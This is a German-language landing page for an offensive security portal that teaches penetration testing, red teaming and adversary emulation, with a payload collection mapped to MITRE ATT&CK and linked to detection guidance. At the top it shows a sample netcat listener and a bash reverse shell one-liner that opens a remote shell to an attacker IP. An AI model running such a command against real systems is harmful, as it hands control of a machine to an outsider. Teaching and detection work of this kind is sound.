// Offensive Security · Praxis · DE

Angriffe nachbauen. Payloads zeigen. Erkennung mitliefern.

Das deutschsprachige Fachportal für Penetration Testing, Red Teaming und Adversary Emulation. Echte, publizierte Payloads auf Praxisniveau - jeder gepaart mit der passenden Erkennung auf blue-team.net.

Payload-Sammlung → Einstieg ins Red Teaming

reverse-shell.shT1059.004 · Unix Shell

# Listener (Angreifer)

nc -lvnp 4444

# Reverse Shell (Ziel)

bash -i >& /dev/tcp/10.10.14.7/4444 0>&1

→ So wird es erkannt: blue-team.net

Die sechs Bereiche

// Silos

// 01

Penetration Testing

Methodik, Web, Netzwerk und Active Directory. Von PTES bis zum sauberen Report.

// 02

Red Teaming

Full-Scope-Operationen, Rules of Engagement, OPSEC und Reporting.

// 03

Adversary Emulation

APT-Verhalten threat-informed nachstellen. Emulation Plans, Caldera, Atomic Red Team.

// 04

Payloads & Techniken

Die Sammlung entlang MITRE ATT&CK. Kopierbare Payloads, jeweils mit Erkennung.

// 05

Tools & Frameworks

C2, Recon, Exploitation, Post-Exploitation. Was wofür - und welche Spuren es hinterlässt.

// 06

Labs & Lernen

Home-Lab, verwundbare Umgebungen und Lernpfade bis OSCP, OSEP und CRTO.

// Herzstück

Die Payload-Sammlung entlang der ATT&CK-Taktiken

Von Initial Access bis Impact. Jede Technik mit kopierbarem Payload, kurzer Erklärung und direktem Sprung zur Erkennung auf blue-team.net.

Initial Access Execution Persistence Privilege Escalation Credential Access Discovery Lateral Movement Collection Command & Control Exfiltration Impact Stealth Defense Impairment

Norbert Hofmann · Cyber Defense Analyst · CDRC

Jeder Payload hier ist publiziert und mit seiner Erkennung gepaart. Keine neu geschriebenen Exploits, keine AV- oder EDR-Evasion, keine funktionsfähigen Implants - sondern das, was Verteidiger und Angreifer gemeinsam verstehen müssen.